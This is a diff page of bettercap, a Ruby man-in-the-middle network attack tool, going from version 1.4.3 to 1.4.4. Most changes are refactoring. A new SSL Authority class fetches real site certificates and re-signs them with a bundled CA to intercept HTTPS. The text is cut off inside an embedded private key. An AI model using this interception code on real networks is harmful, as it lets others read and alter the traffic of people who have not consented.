bettercap 1.4.3 → 1.4.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (35) hide show
  1. checksums.yaml +4 -4
  2. data/lib/bettercap.rb +15 -2
  3. data/lib/bettercap/context.rb +9 -17
  4. data/lib/bettercap/firewalls/linux.rb +0 -2
  5. data/lib/bettercap/firewalls/osx.rb +0 -2
  6. data/lib/bettercap/loader.rb +4 -1
  7. data/lib/bettercap/monkey/openssl/server.rb +35 -0
  8. data/lib/bettercap/monkey/packetfu/utils.rb +1 -3
  9. data/lib/bettercap/monkey/system.rb +25 -0
  10. data/lib/bettercap/network/arp_reader.rb +0 -1
  11. data/lib/bettercap/network/network.rb +0 -1
  12. data/lib/bettercap/network/packet_queue.rb +0 -1
  13. data/lib/bettercap/network/servers/dnsd.rb +0 -1
  14. data/lib/bettercap/network/servers/httpd.rb +0 -3
  15. data/lib/bettercap/network/target.rb +0 -1
  16. data/lib/bettercap/options.rb +27 -25
  17. data/lib/bettercap/proxy/module.rb +0 -3
  18. data/lib/bettercap/proxy/proxy.rb +30 -18
  19. data/lib/bettercap/proxy/ssl/authority.rb +176 -0
  20. data/lib/bettercap/proxy/ssl/bettercap-ca.pem +49 -0
  21. data/lib/bettercap/proxy/ssl/server.rb +61 -0
  22. data/lib/bettercap/proxy/stream_logger.rb +0 -3
  23. data/lib/bettercap/proxy/streamer.rb +36 -6
  24. data/lib/bettercap/proxy/thread_pool.rb +0 -1
  25. data/lib/bettercap/shell.rb +0 -1
  26. data/lib/bettercap/sniffer/parsers/httpauth.rb +0 -1
  27. data/lib/bettercap/sniffer/parsers/https.rb +0 -1
  28. data/lib/bettercap/sniffer/sniffer.rb +0 -3
  29. data/lib/bettercap/spoofers/arp.rb +1 -2
  30. data/lib/bettercap/spoofers/icmp.rb +0 -3
  31. data/lib/bettercap/spoofers/none.rb +0 -2
  32. data/lib/bettercap/update_checker.rb +0 -5
  33. data/lib/bettercap/version.rb +1 -1
  34. metadata +7 -3
  35. data/lib/bettercap/proxy/certstore.rb +0 -75
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 004df8ac9f02a6075dffa69038fb4b8fd02b8e8b
4
- data.tar.gz: 720d7f1c5bcc08ad97eb917291d9a8c8463cc892
3
+ metadata.gz: b09b6f89c9024dc03bf63ddb24f8ad26456b1908
4
+ data.tar.gz: d146f66dec58665f9105006e95578f713602f7bd
5
5
  SHA512:
6
- metadata.gz: c9a2e1722001bef5dbe99bc80e7c87b1ebfb3f2d93e85de449d272525332f04e098ad92d530b1b2e263da6e32a095c5044bb51bf543b6465e494da5b7dd249cd
7
- data.tar.gz: eb475421115056754c756550a5379970532fc2b018a321a50bd1a3fdec16929f7cef71393ea37c722df4574ca68eec4f1a62cfc77a369b13ff6395c6bf7f9891
6
+ metadata.gz: c95f936850a53d62bb97c0a02ab97db7e5ca79ef03659f623a07bca4320ffa6202ab4369c3f9de34dd7495ed85878de22f13de335ce4d742582f34974a721e6c
7
+ data.tar.gz: d3c9765216d535380dfb0693b32755148d755af129fa3fcd2adb0cae020b79d112c30a11c4b24e26af9de2b56166756c454cdb500e7d59532bb184256f6c1962
@@ -17,12 +17,25 @@
17
17
  Encoding.default_external = Encoding::UTF_8
18
18
  Encoding.default_internal = Encoding::UTF_8
19
19
 
20
- require 'optparse'
20
+ require 'base64'
21
21
  require 'colorize'
22
+ require 'digest'
23
+ require 'ipaddr'
24
+ require 'json'
25
+ require 'net/dns'
26
+ require 'net/http'
27
+ require 'openssl'
28
+ require 'optparse'
22
29
  require 'packetfu'
23
30
  require 'pcaprub'
24
- require 'ipaddr'
31
+ require 'resolv'
32
+ require 'rubydns'
33
+ require 'socket'
34
+ require 'stringio'
35
+ require 'thread'
25
36
  require 'uri'
37
+ require 'webrick'
38
+ require 'zlib'
26
39
 
27
40
  Object.send :remove_const, :Config rescue nil
28
41
  Config = RbConfig
@@ -11,8 +11,6 @@ This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
13
 
14
- require 'bettercap/error'
15
-
16
14
  module BetterCap
17
15
  # This class holds global states and data, moreover it exposes high level
18
16
  # methods to manipulate the program behaviour.
@@ -37,9 +35,9 @@ class Context
37
35
  attr_accessor :httpd
38
36
  # Instance of BetterCap::Network::Servers::DNSD class.
39
37
  attr_accessor :dnsd
40
- # Instance of OpenSSL::X509::Certificate class used
38
+ # Instance of Proxy::SSL::Authority class used
41
39
  # for the HTTPS transparent proxy.
42
- attr_accessor :certificate
40
+ attr_accessor :authority
43
41
  # Set to true if the program is running, to false if a shutdown was
44
42
  # scheduled by the user which pressed CTRL+C
45
43
  attr_accessor :running
@@ -77,7 +75,7 @@ class Context
77
75
  @spoofer = nil
78
76
  @httpd = nil
79
77
  @dnsd = nil
80
- @certificate = nil
78
+ @authority = nil
81
79
  @proxies = []
82
80
  @redirections = []
83
81
  @discovery = Discovery::Thread.new self
@@ -139,7 +137,7 @@ class Context
139
137
  end
140
138
 
141
139
  # Start proxies and setup port redirection.
142
- if @options.proxy
140
+ if @options.proxy or @options.proxy_https
143
141
  if @options.has_http_sniffer_enabled?
144
142
  BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
145
143
  end
@@ -248,19 +246,13 @@ class Context
248
246
  end
249
247
 
250
248
  # create HTTP proxy
251
- @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
249
+ if @options.proxy
250
+ @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
251
+ end
252
+
252
253
  # create HTTPS proxy
253
254
  if @options.proxy_https
254
- # We're not acting as a normal HTTPS proxy, thus we're not
255
- # able to handle CONNECT requests, thus we don't know the
256
- # hostname the client is going to connect to.
257
- # We can only use a self signed certificate.
258
- if @options.proxy_pem_file.nil?
259
- @certificate = Proxy::CertStore.get_selfsigned
260
- else
261
- @certificate = Proxy::CertStore.from_file @options.proxy_pem_file
262
- end
263
-
255
+ @authority = Proxy::SSL::Authority.new( @options.proxy_pem_file )
264
256
  @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
265
257
  end
266
258
 
@@ -10,8 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/firewalls/base'
14
- require 'bettercap/shell'
15
13
 
16
14
  module BetterCap
17
15
  module Firewalls
@@ -10,8 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/firewalls/base'
14
- require 'bettercap/shell'
15
13
 
16
14
  module BetterCap
17
15
  module Firewalls
@@ -1,12 +1,15 @@
1
1
  # encoding: UTF-8
2
2
  =begin
3
+
3
4
  BETTERCAP
5
+
4
6
  Author : Simone 'evilsocket' Margaritelli
5
7
  Email : evilsocket@gmail.com
6
8
  Blog : http://www.evilsocket.net/
9
+
7
10
  This project is released under the GPL 3 license.
11
+
8
12
  =end
9
- require 'bettercap/error'
10
13
 
11
14
  module BetterCap
12
15
  # This class is responsible for dynamically loading modules.
@@ -0,0 +1,35 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ # Add accept_nonblock method to OpenSSL::SSL::SSLServer
15
+ module OpenSSL
16
+ module SSL
17
+ class SSLServer
18
+ unless public_method_defined? :accept_nonblock
19
+ def accept_nonblock
20
+ sock = @svr.accept_nonblock
21
+
22
+ begin
23
+ ssl = OpenSSL::SSL::SSLSocket.new(sock, @ctx)
24
+ ssl.sync_close = true
25
+ ssl.accept if @start_immediately
26
+ ssl
27
+ rescue SSLError => ex
28
+ sock.close
29
+ raise ex
30
+ end
31
+ end
32
+ end
33
+ end
34
+ end
35
+ end
@@ -16,8 +16,6 @@ This project is released under the GPL 3 license.
16
16
  # regular expression.
17
17
  #
18
18
  # ORIGINAL: https://github.com/packetfu/packetfu/blob/master/lib/packetfu/utils.rb#L204
19
- require 'bettercap/logger'
20
-
21
19
  module PacketFu
22
20
  class Packet
23
21
  def eth2s(which = :src)
@@ -29,7 +27,7 @@ module PacketFu
29
27
  end
30
28
  end
31
29
  end
32
-
30
+
33
31
  class Utils
34
32
  def self.ifconfig(iface='eth0')
35
33
  ret = {}
@@ -0,0 +1,25 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ # http://stackoverflow.com/questions/891537/detect-number-of-cpus-installed
15
+ module System
16
+ extend self
17
+ def cpu_count
18
+ return Java::Java.lang.Runtime.getRuntime.availableProcessors if defined? Java::Java
19
+ return File.read('/proc/cpuinfo').scan(/^processor\s*:/).size if File.exist? '/proc/cpuinfo'
20
+ require 'win32ole'
21
+ WIN32OLE.connect("winmgmts://").ExecQuery("select * from Win32_ComputerSystem").NumberOfProcessors
22
+ rescue LoadError
23
+ Integer `sysctl -n hw.ncpu 2>/dev/null` rescue 4
24
+ end
25
+ end
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/error'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'thread'
14
13
 
15
14
  module BetterCap
16
15
  # Handles various network related tasks.
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/error'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'rubydns'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'webrick'
14
-
15
- require 'bettercap/logger'
16
13
 
17
14
  module BetterCap
18
15
  module Network
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'socket'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -175,11 +175,11 @@ class Options
175
175
  ctx.options.gateway = v
176
176
  end
177
177
 
178
- opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s ) do |v|
178
+ opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s.yellow ) do |v|
179
179
  ctx.options.iface = v
180
180
  end
181
181
 
182
- opts.on( '-S', '--spoofer NAME', 'Spoofer module to use, available: ' + Spoofers::Base.available.join(', ') + ' - default: ' + ctx.options.spoofer ) do |v|
182
+ opts.on( '-S', '--spoofer NAME', "Spoofer module to use, available: #{Spoofers::Base.available.map{|x| x.yellow }.join(', ')} - default: #{ctx.options.spoofer.yellow}." ) do |v|
183
183
  ctx.options.spoofer = v
184
184
  end
185
185
 
@@ -203,7 +203,7 @@ class Options
203
203
  ctx.options.debug = true
204
204
  end
205
205
 
206
- opts.on( '-L', '--local', 'Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.' ) do
206
+ opts.on( '-L', '--local', "Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to #{'false'.yellow}." ) do
207
207
  ctx.options.local = true
208
208
  ctx.options.sniffer = true
209
209
  end
@@ -227,7 +227,7 @@ class Options
227
227
  ctx.options.sniffer_filter = v
228
228
  end
229
229
 
230
- opts.on( '-P', '--parsers PARSERS', 'Comma separated list of packet parsers to enable, "*" for all ( NOTE: Will set -X to true ), available: ' + Parsers::Base.available.join(', ') + ' - default: *' ) do |v|
230
+ opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{'*'.yellow}" ) do |v|
231
231
  ctx.options.sniffer = true
232
232
  ctx.options.parsers = Parsers::Base.from_cmdline(v)
233
233
  end
@@ -238,15 +238,15 @@ class Options
238
238
  ctx.options.custom_parser = Regexp.new(v)
239
239
  end
240
240
 
241
- opts.on( '--silent', 'Suppress every message which is not an error or a warning, default to false.' ) do
241
+ opts.on( '--silent', "Suppress every message which is not an error or a warning, default to #{'false'.yellow}." ) do
242
242
  ctx.options.silent = true
243
243
  end
244
244
 
245
- opts.on( '--no-discovery', 'Do not actively search for hosts, just use the current ARP cache, default to false.' ) do
245
+ opts.on( '--no-discovery', "Do not actively search for hosts, just use the current ARP cache, default to #{'false'.yellow}." ) do
246
246
  ctx.options.arpcache = true
247
247
  end
248
248
 
249
- opts.on( '--no-spoofing', 'Disable spoofing, alias for --spoofer NONE.' ) do
249
+ opts.on( '--no-spoofing', "Disable spoofing, alias for #{'--spoofer NONE'.yellow}." ) do
250
250
  ctx.options.spoofer = 'NONE'
251
251
  end
252
252
 
@@ -258,41 +258,38 @@ class Options
258
258
  ctx.options.half_duplex = true
259
259
  end
260
260
 
261
- opts.on( '--proxy', 'Enable HTTP proxy and redirects all HTTP requests to it, default to false.' ) do
261
+ opts.on( '--proxy', "Enable HTTP proxy and redirects all HTTP requests to it, default to #{'false'.yellow}." ) do
262
262
  ctx.options.proxy = true
263
263
  end
264
264
 
265
- opts.on( '--proxy-https', 'Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.' ) do
266
- ctx.options.proxy = true
265
+ opts.on( '--proxy-https', "Enable HTTPS proxy and redirects all HTTPS requests to it, default to #{'false'.yellow}." ) do
267
266
  ctx.options.proxy_https = true
268
267
  end
269
268
 
270
- opts.on( '--proxy-port PORT', 'Set HTTP proxy port, default to ' + ctx.options.proxy_port.to_s + ' .' ) do |v|
269
+ opts.on( '--proxy-port PORT', "Set HTTP proxy port, default to #{ctx.options.proxy_port.to_s.yellow}." ) do |v|
271
270
  ctx.options.proxy = true
272
271
  ctx.options.proxy_port = v.to_i
273
272
  end
274
273
 
275
- opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v|
274
+ opts.on( '--http-ports PORT1,PORT2', "Comma separated list of HTTP ports to redirect to the proxy, default to #{ctx.options.http_ports.map{|x| x.to_s.yellow }.join(', ')}." ) do |v|
276
275
  ctx.options.http_ports = ctx.options.parse_ports( v )
277
276
  end
278
277
 
279
- opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v|
278
+ opts.on( '--https-ports PORT1,PORT2', "Comma separated list of HTTPS ports to redirect to the proxy, default to #{ctx.options.https_ports.map{|x| x.to_s.yellow }.join(', ')}." ) do |v|
280
279
  ctx.options.https_ports = ctx.options.parse_ports( v )
281
280
  end
282
281
 
283
- opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v|
284
- ctx.options.proxy = true
282
+ opts.on( '--proxy-https-port PORT', "Set HTTPS proxy port, default to #{ctx.options.proxy_https_port.to_s.yellow}." ) do |v|
285
283
  ctx.options.proxy_https = true
286
284
  ctx.options.proxy_https_port = v.to_i
287
285
  end
288
286
 
289
- opts.on( '--proxy-pem FILE', 'Use a custom PEM certificate file for the HTTPS proxy.' ) do |v|
290
- ctx.options.proxy = true
287
+ opts.on( '--proxy-pem FILE', "Use a custom PEM CA certificate file for the HTTPS proxy, default to #{Proxy::SSL::Authority::DEFAULT.yellow} ." ) do |v|
291
288
  ctx.options.proxy_https = true
292
289
  ctx.options.proxy_pem_file = File.expand_path v
293
290
  end
294
291
 
295
- opts.on( '--proxy-module MODULE', 'Ruby proxy module to load, either a custom file or one of the following: ' + Proxy::Module.available.join(', ') + ' .' ) do |v|
292
+ opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
296
293
  Proxy::Module.load(ctx, opts, v)
297
294
  end
298
295
 
@@ -300,7 +297,7 @@ class Options
300
297
  ctx.options.parse_custom_proxy!(v)
301
298
  end
302
299
 
303
- opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v|
300
+ opts.on( '--custom-proxy-port PORT', "Specify a port for the custom HTTP upstream proxy, default to #{ctx.options.custom_proxy_port.to_s.yellow}." ) do |v|
304
301
  ctx.options.custom_proxy_port = v.to_i
305
302
  end
306
303
 
@@ -312,19 +309,19 @@ class Options
312
309
  ctx.options.parse_custom_proxy!( v, true )
313
310
  end
314
311
 
315
- opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v|
312
+ opts.on( '--custom-https-proxy-port PORT', "Specify a port for the custom HTTPS upstream proxy, default to #{ctx.options.custom_https_proxy_port.to_s.yellow}." ) do |v|
316
313
  ctx.options.custom_https_proxy_port = v.to_i
317
314
  end
318
315
 
319
- opts.on( '--custom-redirection RULE', 'Apply a custom port redirection, the format of the rule is "PROTOCOL ORIGINAL_PORT NEW_PORT". For instance "TCP 21 2100" will redirect all TCP traffic going to port 21, to port 2100.' ) do |v|
316
+ opts.on( '--custom-redirection RULE', "Apply a custom port redirection, the format of the rule is #{'PROTOCOL ORIGINAL_PORT NEW_PORT'.yellow}. For instance #{'TCP 21 2100'.yellow} will redirect all TCP traffic going to port 21, to port 2100." ) do |v|
320
317
  ctx.options.parse_redirection!( v )
321
318
  end
322
319
 
323
- opts.on( '--httpd', 'Enable HTTP server, default to false.' ) do
320
+ opts.on( '--httpd', "Enable HTTP server, default to #{'false'.yellow}." ) do
324
321
  ctx.options.httpd = true
325
322
  end
326
323
 
327
- opts.on( '--httpd-port PORT', 'Set HTTP server port, default to ' + ctx.options.httpd_port.to_s + '.' ) do |v|
324
+ opts.on( '--httpd-port PORT', "Set HTTP server port, default to #{ctx.options.httpd_port.to_s.yellow}." ) do |v|
328
325
  ctx.options.httpd = true
329
326
  ctx.options.httpd_port = v.to_i
330
327
  end
@@ -334,11 +331,11 @@ class Options
334
331
  ctx.options.dnsd_file = File.expand_path v
335
332
  end
336
333
 
337
- opts.on( '--dns-port PORT', 'Set DNS server port, default to ' + ctx.options.dnsd_port.to_s + '.' ) do |v|
334
+ opts.on( '--dns-port PORT', "Set DNS server port, default to #{ctx.options.dnsd_port.to_s.yellow}." ) do |v|
338
335
  ctx.options.dnsd_port = v.to_i
339
336
  end
340
337
 
341
- opts.on( '--httpd-path PATH', 'Set HTTP server path, default to ' + ctx.options.httpd_path + '.' ) do |v|
338
+ opts.on( '--httpd-path PATH', "Set HTTP server path, default to #{ctx.options.httpd_path.yellow} ." ) do |v|
342
339
  ctx.options.httpd = true
343
340
  ctx.options.httpd_path = v
344
341
  end
@@ -380,6 +377,11 @@ class Options
380
377
  "either use the --no-sslstrip option or remove the --dns option."
381
378
  end
382
379
 
380
+ if ctx.options.has_proxy_module? and ( !ctx.options.proxy and !ctx.options.proxy_https )
381
+ raise BetterCap::Error, "A proxy module was specified but none of the HTTP or HTTPS proxies are " \
382
+ "enabled, specify --proxy or --proxy-https options."
383
+ end
384
+
383
385
  unless ctx.options.gateway.nil?
384
386
  raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
385
387
  ctx.gateway = ctx.options.gateway
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
13
 
15
14
  module BetterCap
16
15
  module Proxy
@@ -40,8 +39,6 @@ class Module
40
39
 
41
40
  # Load the module with +name+.
42
41
  def self.load(ctx, opts, name)
43
- ctx.options.proxy = true
44
-
45
42
  if self.is_builtin?(name)
46
43
  ctx.options.proxy_module = "#{@@path}/#{name}.rb"
47
44
  else
@@ -11,9 +11,6 @@ This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
13
 
14
- require 'socket'
15
- require 'uri'
16
-
17
14
  module BetterCap
18
15
  module Proxy
19
16
  # Transparent proxy class.
@@ -28,13 +25,12 @@ class Proxy
28
25
  @is_https = is_https
29
26
  @type = is_https ? 'HTTPS' : 'HTTP'
30
27
  @upstream_port = is_https ? 443 : 80
31
- @sslserver = nil
32
- @sslcontext = nil
33
28
  @server = nil
29
+ @sslserver = nil
34
30
  @main_thread = nil
35
31
  @running = false
36
- @streamer = Streamer.new processor
37
32
  @local_ips = []
33
+ @streamer = Streamer.new( processor, need_sslstrip? )
38
34
 
39
35
  begin
40
36
  @local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
@@ -46,7 +42,10 @@ class Proxy
46
42
 
47
43
  BasicSocket.do_not_reverse_lookup = true
48
44
 
49
- @pool = ThreadPool.new( 4, 64 ) do |client|
45
+ tmin = System.cpu_count
46
+ tmax = tmin * 16
47
+
48
+ @pool = ThreadPool.new( tmin, tmax ) do |client|
50
49
  begin
51
50
  client_worker client
52
51
  rescue Exception => e
@@ -59,16 +58,13 @@ class Proxy
59
58
  # Start this proxy instance.
60
59
  def start
61
60
  begin
62
- @server = @socket = TCPServer.new( @address, @port )
61
+ @socket = TCPServer.new( @address, @port )
63
62
 
64
63
  if @is_https
65
- cert = Context.get.certificate
66
-
67
- @sslcontext = OpenSSL::SSL::SSLContext.new
68
- @sslcontext.cert = cert[:cert]
69
- @sslcontext.key = cert[:key]
70
-
71
- @server = @sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext )
64
+ @sslserver = SSL::Server.new( @socket )
65
+ @server = @sslserver.io
66
+ else
67
+ @server = @socket
72
68
  end
73
69
 
74
70
  @main_thread = Thread.new &method(:server_thread)
@@ -100,13 +96,24 @@ class Proxy
100
96
  Logger.info "[#{@type.green}] Proxy starting on #{@address}:#{@port} ...\n"
101
97
 
102
98
  @running = true
99
+ sockets = [ @server ]
103
100
 
104
101
  while @running do
105
102
  begin
106
- @pool << @server.accept
103
+ IO.select(sockets).first.each do |sock|
104
+ begin
105
+ if io = sock.accept_nonblock
106
+ @pool << io
107
+ end
108
+ rescue SystemCallError
109
+ # nothing
110
+ rescue Errno::ECONNABORTED
111
+ # client closed the socket even before accept
112
+ io.close rescue nil
113
+ end
114
+ end
107
115
  rescue OpenSSL::SSL::SSLError => se
108
- Logger.debug("Error while accepting #{@type} connection.")
109
- Logger.exception(se)
116
+ Logger.debug("Error while accepting #{@type} connection ( #{se.message} ).")
110
117
  rescue Exception => e
111
118
  Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
112
119
  end
@@ -162,6 +169,11 @@ class Proxy
162
169
 
163
170
  client.close
164
171
  end
172
+
173
+ # Return true if sslstrip is needed for this proxy instance.
174
+ def need_sslstrip?
175
+ ( Context.get.options.sslstrip and !@is_https )
176
+ end
165
177
  end
166
178
 
167
179
  end
@@ -0,0 +1,176 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Proxy
16
+ module SSL
17
+
18
+ # Simple wrapper class used to fetch a server HTTPS certificate.
19
+ class Fetcher < Net::HTTP
20
+ # The server HTTPS certificate.
21
+ attr_accessor :certificate
22
+ # Overridden from Net::HTTP in order to save the peer certificate
23
+ # before the connection is closed.
24
+ def on_connect
25
+ @certificate = peer_cert
26
+ end
27
+ # Fetch the HTTPS certificate of +hostname+:+port+.
28
+ def self.fetch( hostname, port )
29
+ http = self.new( hostname, port )
30
+ http.use_ssl = true
31
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
32
+
33
+ http.head("/")
34
+ http.certificate
35
+ end
36
+ end
37
+
38
+ # Used as an on-disk cache of server certificates.
39
+ class Store
40
+ # The store path.
41
+ PATH = File.join( Dir.home, '.bettercap', 'certificates' )
42
+
43
+ # Create an instance of this class.
44
+ def initialize
45
+ unless File.directory?( Store::PATH )
46
+ Logger.info "[#{'SSL'.green}] Initializing certificates store '#{Store::PATH}' ..."
47
+ FileUtils.mkdir_p( Store::PATH )
48
+ end
49
+
50
+ @store = {}
51
+ @lock = Mutex.new
52
+ end
53
+
54
+ # Find the +hostname+:+port+ certificate and return it.
55
+ def find( hostname, port )
56
+ key = Digest::SHA256.hexdigest( "#{hostname}_#{port}" )
57
+
58
+ @lock.synchronize {
59
+ unless @store.has_key?(key)
60
+ # Certificate not available in memory, search it in the store PATH.
61
+ filename = File.join( Store::PATH, key )
62
+ s_cert = load_from_file( filename )
63
+ # Not available on disk too, fetch it from the server and save it.
64
+ if s_cert.nil?
65
+ Logger.info "[#{'SSL'.green}] Fetching certificate from #{hostname}:#{port} ..."
66
+
67
+ s_cert = Fetcher.fetch( hostname, port )
68
+ save_to_file( s_cert, filename )
69
+ else
70
+ Logger.info "[#{'SSL'.green}] Loaded HTTPS certificate for '#{hostname}' from store."
71
+ end
72
+
73
+ @store[key] = s_cert
74
+ end
75
+ }
76
+
77
+ @store[key]
78
+ end
79
+
80
+ private
81
+
82
+ # Load and return a certificate from +filename+ if it exists, also check if
83
+ # the certificate is expired, in which case it will remove it and return nil.
84
+ def load_from_file( filename )
85
+ cert = nil
86
+ if File.exist?(filename)
87
+ data = File.read(filename)
88
+ cert = OpenSSL::X509::Certificate.new(data)
89
+ # Check if expired.
90
+ now = Time.now
91
+ if now < cert.not_before or now > cert.not_after
92
+ File.delete( filename )
93
+ cert = nil
94
+ end
95
+ end
96
+ cert
97
+ end
98
+
99
+ # Save the +cert+ certificate to +filename+ encoded as PEM.
100
+ def save_to_file( cert, filename )
101
+ File.open( filename, "w+" ) { |file| file.write(cert.to_pem) }
102
+ end
103
+ end
104
+
105
+ # This class represents bettercap's HTTPS CA.
106
+ class Authority
107
+ # Default CA file.
108
+ DEFAULT = File.join( Dir.home, '.bettercap', 'bettercap-ca.pem' )
109
+
110
+ # CA certificate.
111
+ attr_reader :certificate
112
+ # CA key.
113
+ attr_reader :key
114
+
115
+ # Create an instance of this class loading the certificate and key from
116
+ # +filename+ which is expected to be a PEM formatted file.
117
+ # If +filename+ is nil, Authority::DEFAULT will be used instead.
118
+ def initialize( filename = nil )
119
+ install_ca
120
+ filename ||= Authority::DEFAULT
121
+
122
+ Logger.info "[#{'SSL'.green}] Loading HTTPS Certification Authority from '#{filename}' ..."
123
+
124
+ begin
125
+ pem = File.read(filename)
126
+
127
+ @certificate = OpenSSL::X509::Certificate.new(pem)
128
+ @key = OpenSSL::PKey::RSA.new(pem)
129
+ @store = Store.new
130
+ @cache = {}
131
+ @lock = Mutex.new
132
+ rescue Errno::ENOENT
133
+ raise BetterCap::Error, "'#{filename}' - No such file or directory."
134
+
135
+ rescue OpenSSL::X509::CertificateError
136
+ raise BetterCap::Error, "'#{filename}' - Missing or invalid certificate."
137
+
138
+ rescue OpenSSL::PKey::RSAError
139
+ raise BetterCap::Error, "'#{filename}' - Missing or invalid key."
140
+ end
141
+ end
142
+
143
+ # Fetch the certificate from +hostname+:+port+, sign it with our own CA and
144
+ # return it.
145
+ def spoof( hostname, port = 443 )
146
+ @lock.synchronize {
147
+ unless @cache.has_key?(hostname)
148
+ # 1. fetch real server certificate
149
+ s_cert = @store.find( hostname, port )
150
+ # 2. Sign it with our CA.
151
+ s_cert.public_key = @key.public_key
152
+ s_cert.issuer = @certificate.subject
153
+ s_cert.sign( @key, OpenSSL::Digest::SHA256.new )
154
+ # 3. Profit ^_^
155
+ @cache[hostname] = s_cert
156
+ end
157
+ }
158
+ @cache[hostname]
159
+ end
160
+
161
+ def install_ca
162
+ unless File.exist?( Authority::DEFAULT )
163
+ root = File.join( Dir.home, '.bettercap' )
164
+ source = File.dirname(__FILE__) + '/bettercap-ca.pem'
165
+
166
+ Logger.info "[#{'SSL'.green}] Installing CA to #{root} ..."
167
+
168
+ FileUtils.mkdir_p( root )
169
+ FileUtils.cp( source, root )
170
+ end
171
+ end
172
+ end
173
+
174
+ end
175
+ end
176
+ end
@@ -0,0 +1,49 @@
1
+ -----BEGIN PRIVATE KEY-----
2
+ MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCaoeZj2x7hY4RV
3
+ L4S6F6GfsEAye1/rTivXQCBsEMdBifPFCWz4i1s5v1CbxO4x4dfgtJiVniGyMsnQ
4
+ pWOsZ/kjt74FIzgA2A7RTsz6+jvxFnw8uNH2UvHAlXerpghBw7F46HTKb7fPGlXI
5
+ eMrXd7SQ9fonNM1fQ0L37+ILAaZIIXjm3bM7KWuM7+8qr2bxLxP9A1ud5ruOLNF+
6
+ jxcCykm6ir/eo3M+4Yo9pOwsIvg9foOw7ahEVSB7nAZB9J2ohbCFfG7sFhKKgWFT
7
+ xKBiEHny8qaD1/16FID/SZVXhFjjK2n8Gd87cIk104392H/MQVWui9rkocwszCov
